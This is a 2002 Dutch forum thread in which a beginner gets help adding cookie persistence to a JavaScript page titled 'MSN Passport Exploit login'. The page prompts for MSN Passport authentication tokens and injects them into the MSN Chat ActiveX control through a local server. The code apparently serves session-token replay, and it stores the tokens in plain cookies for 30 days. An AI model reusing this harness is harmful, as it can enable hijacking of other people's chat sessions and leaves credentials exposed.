Ga naar inhoud

kan je een promptscript de variabelen laten onthouden?


Aanbevolen berichten

ik bedoel.. Ik heb het promptscript werkend (nogmaals bedankt annie) maar het nadeel is nu weer dat je elke keer die gegevens opnieuw moet invullen om het te laten werken.. is er een mogenlijkheid dat het script dat onthoudt? (dus dat hij de laatst ingevoerde text vast invult, en je op "ok" kan drukken, en anders opnieuw in kan vullen?) vast bedankt,
Link naar reactie
wat heb ik nou weer fout gedaan? Dit is de code die werkt, maar ik moet de informatie steeds opnieuw invullen: --------------------------------------------- <head> <title>MSNPassportExploid</title> <script type="text/javascript"> msncookie = prompt("MSNREGCookie here", "MSNREGcookie"); msnticket = prompt("PassportTicket here", "passportticket"); msnprofile = prompt("PassportProfile here", "passportprofile"); </script> </head> <body> <table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#E5E6D0"> <tr> <td valign="top"><script language="JavaScript"> var temp = '<OBJECT ID="ChatFrame" CLASSID="CLSID:e87a6788-1d0f-4444-8898-1d25829b6755" width="100%" CODEBASE="http://fdl.msn.com/public/chat/msnchat4.cab#Version=2,03,0202,1201">'; temp += '<PARAM NAME="RoomName" VALUE="WebagentsRoom">'; temp += '<PARAM NAME="NickName" VALUE="Webagent007">'; temp += '<PARAM NAME="Server" VALUE="127.0.0.1:6668">'; temp += '<PARAM NAME="BaseURL" VALUE="http://chat.msn.nl/">'; temp += "<PARAM NAME="MSNREGCookie" VALUE="" + msncookie + "">"; temp += "<PARAM NAME="PassportTicket" VALUE="" + msnticket + "">"; temp += "<PARAM NAME="PassportProfile" VALUE="" + msnprofile + "">"; temp += '</OBJECT>'; document.write(temp); </script> </td> </tr> </table> </body> </html> ---------------------------------------------dit is de code die gebruik zou moeten maken van cookies: --------------------------------------------- <HTML> <TITLE>Your document title here</TITLE> <HEAD> <!-- Cookie Script Written By Maxim V. Kollegov --> <!-- Virtual_Max@geocities.com --> <!-- http://www.geocities.com/siliconvalley/lakes/8620/index.html --> <SCRIPT LANGUAGE="JavaScript"> <!-- to hide script contents from old browsers var msncookie var msnticket var msnprofile // this function extracts cookie by name and return value. function getCookie(byname) {byname=byname+"="; nlen = byname.length; fromN = document.cookie.indexOf(byname)+0; if((fromN) != -1) {fromN +=nlen toN=document.cookie.indexOf(";",fromN)+0; if(toN == -1) {toN=document.cookie.length;} return unescape(document.cookie.substring(fromN,toN)); } return null; } //this function writes the new data to the viewer's cookie function setCookie(msncookie,msnticket,msnprofile) {if((msncookie==null)||(msnticket==null)||(msnprofile==null)) return false; document.cookie =escape(msncookie)+"="+escape(msnticket)+"="+escape(msnprofile); return true; } //this function looks into cookie for msncookie, msnticket and msnprofile function checkAccess() {msncookie=getCookie("msncookie"); msnticket=getCookie("msnticket"); msnprofile=getCookie("msnprofile"); msncookie=prompt("Please enter your MSNREGCookie here:",""); if((msncookie==null) || (msncookie=="")) msncookie="empty"; msnticket=prompt("Please enter your PassportTicket here:",""); if((msnticket==null) || (msnticket=="")) msnticket="empty"; msnprofile=prompt("Please enter your PassportProfile here:",""); if((msnprofile==null) || (msnprofile=="")) msncookie="empty"; } setCookie("msncookie",msncookie); setCookie("msnticket",msnticket); setCookie("msnprofile",msnprofile); } //this function writes welcome message into browser. function welcome() {checkAccess(); var temp = '<OBJECT ID="ChatFrame" CLASSID="CLSID:e87a6788-1d0f-4444-8898-1d25829b6755" width="100%" CODEBASE="http://fdl.msn.com/public/chat/msnchat4.cab#Version=2,03,0202,1201">'; temp += '<PARAM NAME="RoomName" VALUE="Test">'; temp += '<PARAM NAME="NickName" VALUE="Jantje">'; temp += '<PARAM NAME="Server" VALUE="127.0.0.1:6668">'; temp += '<PARAM NAME="BaseURL" VALUE="http://chat.msn.nl/">'; temp += "<PARAM NAME="MSNREGCookie" VALUE="" + msncookie + "">"; temp += "<PARAM NAME="PassportTicket" VALUE="" + msnticket + "">"; temp += "<PARAM NAME="PassportProfile" VALUE="" + msnrofile + "">"; temp += '</OBJECT>'; document.writeln(temp); } // end hiding contents from old browsers --> </SCRIPT> </HEAD> <BODY> <table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#E5E6D0"> <tr> <td valign="top"><script language="JavaScript">welcome(); </SCRIPT> </BODY> </HTML> --------------------------------------------- hij stuikelt over function welcome() (geloof ik) kan iemand mij een tipje in de goeie richting geven wat ik fout doe? dankje, webagent aka webagent007
Link naar reactie
oh jee LOL ik zie net na het posten dat ik een { vergeten ben.. en er staat msnrofile ipv msnprofile.. het werkt nog niet zoals ik wil.. maar als ik daar niet uitkom horen jullie dan vanzelf wel weer Sorry! [ Dit Bericht is bewerkt door: webagent op 2002-03-07 14:02 ] [ Dit Bericht is bewerkt door: webagent op 2002-03-07 14:05 ]
Link naar reactie
[quote:824c50f7b9] [b:824c50f7b9]ze[/b:824c50f7b9] zouden haar moderator moeten maken... [/quote:824c50f7b9] Zeg, let 's op je woorden, wil je. :grin: Ennuh, computernerd, jou opmerking is zo politiek incorrect dat deze Pim F niet zou misstaan :wink: Maaruh, back on-topic. Wat gaat er mis na het doornemen van de voorbeelden op de site die ik gaf? Het "Cookie Name Demo" voorbeeld doet namelijk exact wat je wil (na een beetje ombouwen). Oke, ik geef toe dat de code misschien wat onoverzichtelijk over kan komen, maar als je er eens rustig naar kijkt zie je dat het principe helemaal niet zo moeilijk is. Een cookie is namelijk niets anders dan een stukje tekst in de HTTP-header. En deze string heeft de volgende vorm (even excl. het [i:824c50f7b9]Set-Cookie:[/i:824c50f7b9] stukje): [b:824c50f7b9]naam=waarde[;expires=datum][;domain=het.domein.nl][;path=/][;secure][/b:824c50f7b9] (voor de precieze uitleg en het formaat van de waarden moet je maar even wat meer lezen over het onderwerp als je dat wil). In javascript kan je dus een cookie zetten door gewoon deze string op te bouwen en aan document.cookie te geven. En om 'm uit te lezen zal je de string even op moeten hakken in hapklare brokjes.
Link naar reactie
is een mooi voorbeeld, ik vind Cookie name demo 2 nog mooier, maar als ik de eerste niet aan de praat krijg hoef ik daar al helemaal niet aan te beginnen (ik ben een beginner) wat ik nu heb is dit: --------------------------------------------- <HTML> <TITLE>Your document title here</TITLE> <HEAD> <SCRIPT LANGUAGE="JavaScript"> <!-- to hide script contents from old browsers var msncookie var msnticket var msnprofile // this function extracts cookie by name and return value. function getCookie(byname) {byname=byname+"="; nlen = byname.length; fromN = document.cookie.indexOf(byname)+0; if((fromN) != -1) {fromN +=nlen toN=document.cookie.indexOf(";",fromN)+0; if(toN == -1) {toN=document.cookie.length;} return unescape(document.cookie.substring(fromN,toN)); } return null; } //this function writes the new data to the viewer's cookie function setCookie(msncookie,msnticket,msnprofile) {if((msncookie==null)||(msnticket==null)||(msnprofile==null)) return false; document.cookie =escape(msncookie)+"="+escape(msnticket)+"="+escape(msnprofile); return true; } //this function looks into cookie for msncookie, msnticket and msnprofile function checkAccess() {msncookie=getCookie("msncookie"); msnticket=getCookie("msnticket"); msnprofile=getCookie("msnprofile"); msncookie=prompt("Please enter your MSNREGCookie here:",""); if((msncookie==null){ alert('Its ok if you dont want to tell me your info'); msncookie = 'blanc'; }else { pathname = location.pathname; myDomain = pathname.substring(0,pathname.lastIndexOf('/')) +'/'; // set expiry date to 1 year from now. var largeExpDate = new Date (); largeExpDate.setTime(largeExpDate.getTime() + (365 * 24 * 3600 * 1000)); } msnticket=prompt("Please enter your PassportTicket here:",""); if((msnticket==null){ alert('Its ok if you dont want to tell me your ticket'); msnticket = 'blanc'; } else { pathname = location.pathname; myDomain = pathname.substring(0,pathname.lastIndexOf('/')) +'/'; // set expiry date to 1 year from now. var largeExpDate = new Date (); largeExpDate.setTime(largeExpDate.getTime() + (365 * 24 * 3600 * 1000)); } msnprofile=prompt("Please enter your PassportProfile here:",""); if((msnprofile==null){ alert('Its ok if you dont want to tell me your profile'); msnprofile = 'blanc'; } else { pathname = location.pathname; myDomain = pathname.substring(0,pathname.lastIndexOf('/')) +'/'; // set expiry date to 1 year from now. var largeExpDate = new Date (); largeExpDate.setTime(largeExpDate.getTime() + (365 * 24 * 3600 * 1000)); } {SetCookie('msncookie',msncookie,largeExpDate,myDomain); SetCookie('msnticket',msnticket,largeExpDate,myDomain); SetCookie('msnprofile',msnprofile,largeExpDate,myDomain); } //this function writes welcome message into browser. function welcome() {checkAccess(); var temp = '<OBJECT ID="ChatFrame" CLASSID="CLSID:e87a6788-1d0f-4444-8898-1d25829b6755" width="100%" CODEBASE="http://fdl.msn.com/public/chat/msnchat4.cab#Version=2,03,0202,1201">'; temp += '<PARAM NAME="RoomName" VALUE="Test">'; temp += '<PARAM NAME="NickName" VALUE="Jantje">'; temp += '<PARAM NAME="Server" VALUE="127.0.0.1:6668">'; temp += '<PARAM NAME="BaseURL" VALUE="http://chat.msn.nl/">'; temp += "<PARAM NAME="MSNREGCookie" VALUE="" + msncookie + "">"; temp += "<PARAM NAME="PassportTicket" VALUE="" + msnticket + "">"; temp += "<PARAM NAME="PassportProfile" VALUE="" + msnprofile + "">"; temp += '</OBJECT>'; document.writeln(temp); } // end hiding contents from old browsers --> </SCRIPT> </HEAD> <BODY> <table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#E5E6D0"> <tr> <td valign="top"><script language="JavaScript">welcome(); </SCRIPT> </BODY> </HTML> --------------------------------------------- alleen weet ik niet zo goed waar ik dit kwijt moet, het is haast niet te vergelijken met elkaar.. ik zoek namenlijk een soort patroon, ik neem aan dat als ik een padnaam, domeinnaam en een verloop datum aangeef dat ik m hetzelfde moet wegschrijven als dat ik m lees: --------------------------------------------- } function getCookieVal (offset) { var endstr = document.cookie.indexOf (";", offset); if (endstr == -1) endstr = document.cookie.length; return unescape(document.cookie.substring(offset, endstr)); } function GetCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; --------------------------------------------- en dit: --------------------------------------------- expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } --------------------------------------------- ik neem aan dat als ik m wil laten verlopen, dat ik het bovenstaande ook ergens tussen moet stoppen (en ik wil m na 24 uur laten verlopen, maar dan moet ie wel werken) groetjes
Link naar reactie
Ik geloof dat ik m aan de praat heb, en ik geloof dat ie na 24 uur history moet zijn (cookie dan) als ik m test geeft ie netjes de prompts, maakt ie een cookie.. maar af en toe weigert ie (nadat ik het cookie heb verwijdert dan) om te prompten.. er zal ook wel iets overbodigs tussen staan lol maar thanks voor de hulp.. ziet er iemand nog een foutje of iets wat beter kan? <HTML> <HEAD> <TITLE>MSN PassPort Exploit login </TITLE></HEAD> <BODY BACKGROUND="" BGCOLOR="#FFFFFF"> <SCRIPT LANGUAGE="JavaScript"> <!-- Hide this script from old browsers -- var msncookie = GetCookie('msncookie'); var msnticket = GetCookie('msnticket'); var msnprofile = GetCookie('msnprofile'); if (msncookie == null) { msncookie = prompt('Please paste your MSNREGCookie or press cancel.',""); if (msncookie == null) { alert('You havent pasted your MSNREGCookie.'); msncookie = 'MSNREGCookie'; } else { pathname = location.pathname; myDomain = pathname.substring(0,pathname.lastIndexOf('/')) +'/'; var largeExpDate = new Date (); largeExpDate.setTime(largeExpDate.getTime() + (30 * 24 * 3600 * 1000)); SetCookie('msncookie',msncookie,largeExpDate,myDomain); } } if (msnticket == null) { msnticket = prompt('Please paste your PassportTicket or press cancel.',""); if (msnticket == null) { alert('You havent pasted PassportTicket.'); msnticket = 'PassportTicket'; } else { pathname = location.pathname; myDomain = pathname.substring(0,pathname.lastIndexOf('/')) +'/'; var largeExpDate = new Date (); largeExpDate.setTime(largeExpDate.getTime() + (30 * 24 * 3600 * 1000)); SetCookie('msnticket',msnticket,largeExpDate,myDomain); } } if (msnprofile == null) { msnprofile = prompt('Please paste your PassportProfile or press cancel.',""); if (msnprofile == null) { alert('You havent pasted your PassportProfile.'); msnprofile = 'PassportProfile'; } else { pathname = location.pathname; myDomain = pathname.substring(0,pathname.lastIndexOf('/')) +'/'; var largeExpDate = new Date (); largeExpDate.setTime(largeExpDate.getTime() + (24 * 60 * 60 * 1000)); SetCookie('msnprofile',msnprofile,largeExpDate,myDomain); } } function getCookieVal (offset) { var endstr = document.cookie.indexOf (";", offset); if (endstr == -1) endstr = document.cookie.length; return unescape(document.cookie.substring(offset, endstr)); } function GetCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function SetCookie (name, value) { var argv = SetCookie.arguments; var argc = SetCookie.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + escape (value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } var temp = '<OBJECT ID="ChatFrame" CLASSID="CLSID:e87a6788-1d0f-4444-8898-1d25829b6755" width="100%" CODEBASE="http://fdl.msn.com/public/chat/msnchat4.cab#Version=2,03,0202,1201">'; temp += '<PARAM NAME="RoomName" VALUE="Test">'; temp += '<PARAM NAME="NickName" VALUE="Webagent007">'; temp += '<PARAM NAME="Server" VALUE="127.0.0.1:6668">'; temp += '<PARAM NAME="BaseURL" VALUE="http://chat.msn.nl/">'; temp += "<PARAM NAME="MSNREGCookie" VALUE="" + msncookie + "">"; temp += "<PARAM NAME="PassportTicket" VALUE="" + msnticket + "">"; temp += "<PARAM NAME="PassportProfile" VALUE="" + msnprofile + "">"; temp += '</OBJECT>'; document.writeln(temp); // -- End Hiding Here --> </SCRIPT></P> </BODY></HTML> groet,
Link naar reactie
[quote:7c0e45eb2f] [b:7c0e45eb2f]Op 08-03-2002 13:10, schreef webagent:[/b:7c0e45eb2f] Ik geloof dat ik m aan de praat heb, en ik geloof dat ie na 24 uur history moet zijn (cookie dan) als ik m test geeft ie netjes de prompts, maakt ie een cookie.. maar af en toe weigert ie (nadat ik het cookie heb verwijdert dan) om te prompten.. er zal ook wel iets overbodigs tussen staan lol maar thanks voor de hulp.. ziet er iemand nog een foutje of iets wat beter kan? [..groot stuk code..] [/quote:7c0e45eb2f] Er zitten inderdaad nog wel wat kleinigheidjes in je code. Bijvoorbeeld wanneer je de cookies zet en wanneer niet, zo op het eerste gezicht lijkt mij dat niet helemaal kloppen. Maar ik heb geen zin om er erg diep over na te denken na een drukke week :wink: Sowieso wil ik als tip meegeven om code voortaan tussen de code-tags te zetten in het forum zodat het een beetje leesbaar blijft (ik heb een hekel aan onduidelijke code). Ik heb zelf even snel wat in elkaar gezet zoals ik denk dat het moet werken en er ook nog overzichtelijk uitziet (nou ja, smaken verschillen natuurlijk). Doe er je voordeel mee. [code:1:7c0e45eb2f] <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'DTD/xhtml1-transitional.dtd'> <html xmlns='http://www.w3.org/1999/xhtml'> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>MSN PassPort Exploit login</title> </head> <body bgcolor="#FFFFFF"> <p> <script type="text/javascript"> function getCookieVal (offset) { var endstr = document.cookie.indexOf (";", offset); if (endstr == -1) endstr = document.cookie.length; return unescape(document.cookie.substring(offset, endstr)); } function GetCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function SetCookie (name, value) { var argv = SetCookie.arguments; var argc = SetCookie.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + escape (value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } function doThePrompt(realname, cookiename) { var checkvar = GetCookie(cookiename); if (checkvar == null) { checkvar = prompt('Please paste your ' + realname + ' or press cancel.', ''); if (checkvar == null) { alert("You didn't paste your " + realname + "."); checkvar = realname; } } //var myDomain = window.location.hostname; var myDomain = null; var largeExpDate = new Date(); largeExpDate.setTime(largeExpDate.getTime() + (30 * 24 * 3600 * 1000)); SetCookie(cookiename, checkvar, largeExpDate, '/', myDomain); return checkvar; } // *************** MAIN *************** var msncookie = doThePrompt('MSNREGCookie', 'msncookie'); var msnticket = doThePrompt('PassportTicket', 'msnticket'); var msnprofile = doThePrompt('PassportProfile', 'msnprofile'); var temp = '<OBJECT ID="ChatFrame" CLASSID="CLSID:e87a6788-1d0f-4444-8898-1d25829b6755" width="100%"' + ' CODEBASE="http://fdl.msn.com/public/chat/msnchat4.cab#Version=2,03,0202,1201">'; + '<PARAM NAME="RoomName" VALUE="Test">' + '<PARAM NAME="NickName" VALUE="Webagent007">' + '<PARAM NAME="Server" VALUE="127.0.0.1:6668">' + '<PARAM NAME="BaseURL" VALUE="http://chat.msn.nl/">' + '<PARAM NAME="MSNREGCookie" VALUE="' + msncookie + '">' + '<PARAM NAME="PassportTicket" VALUE="' + msnticket + '">' + '<PARAM NAME="PassportProfile" VALUE="' + msnprofile + '">' + '</OBJECT>'; //temp = msncookie + "<br />" + msnticket + "<br />" + msnprofile; document.writeln(temp); </script> </p> </body> </html> [/code:1:7c0e45eb2f] p.s. Als het niet werkt dan gooi de code maar weg. Ik ga het iig niet debuggen. /edit: tweede poging, layout was vern**kt. [ Dit Bericht is bewerkt door: Annie op 2002-03-08 20:23 ]
Link naar reactie

Om een reactie te plaatsen, moet je eerst inloggen

Gast
Reageer op dit topic

×   Geplakt als verrijkte tekst.   Herstel opmaak

  Er zijn maximaal 75 emoji toegestaan.

×   Je link werd automatisch ingevoegd.   Tonen als normale link

×   Je vorige inhoud werd hersteld.   Leeg de tekstverwerker

×   Je kunt afbeeldingen niet direct plakken. Upload of voeg afbeeldingen vanaf een URL in

  • Populaire leden

    Er is nog niemand die deze week reputatie heeft ontvangen.

  • Leden

    Geen leden om te tonen

×
×
  • Nieuwe aanmaken...